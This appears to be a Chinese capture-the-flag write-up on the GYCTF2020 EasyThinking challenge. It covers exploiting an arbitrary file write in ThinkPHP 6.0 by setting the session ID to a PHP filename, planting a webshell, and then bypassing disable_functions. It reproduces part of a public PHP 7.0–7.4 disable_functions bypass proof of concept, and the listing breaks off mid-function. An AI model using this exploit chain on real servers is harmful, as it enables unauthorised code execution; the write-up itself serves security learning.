[GYCTF2020]EasyThinking Thinkphp6.0任意文件操作漏洞 绕过disable_function

本文详细介绍了如何利用Thinkphp6.0框架的任意文件操作漏洞进行攻击。首先,通过注册并登录,修改Sessionid为php文件名,然后查看session文件内容。接着,通过搜索功能将字符串写入文件,并尝试植入一句话木马。由于存在disable_functions限制,作者找到了绕过的方法,并给出了GitHub上的相关脚本。最后,通过一系列的内存操作技巧,成功触发任意命令执行,获取系统权限。但遗憾的是,未能直接读取flag。此文章深入剖析了Web安全漏洞利用过程,适合安全研究者参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GYCTF2020]EasyThinking
一开始还以为是XSS漏洞,因为搜索记录会被保存。后来查了才知道是Thinkphp 6.0框架的任意文件操作漏洞。先注册一个账号登录,登录时抓包修改Session id为php文件名,长度是32位
在这里插入图片描述
session文件在/runtime/session/目录下,这是默认的。文件名是sess_加我们刚刚写的32位字符串:sess_0123456789012345678901234567.php。
我们可以先来看一下此时这个文件里有什么
在这里插入图片描述
然后我们搜索一下再看这个文件,可以看到我们搜索的字符串是被写进去了。
在这里插入图片描述
把一句话木马写进去,蚁剑连一下。连进去了但是不能读flag,要绕过disable_functions
在这里插入图片描述
github上找绕过的脚本,这老哥真强啊https://github.com/mm0r1/exploits/tree/master/php-filter-bypass
有很多可以用的版本,根据网站的php版本来选好了

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)

pwn("/readflag");

function pwn($cmd) {
   
    global $abc, $helper, $backtrace;

    class Vuln {
   
        public $a;
        public function __destruct() {
    
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) {
    # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
   
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值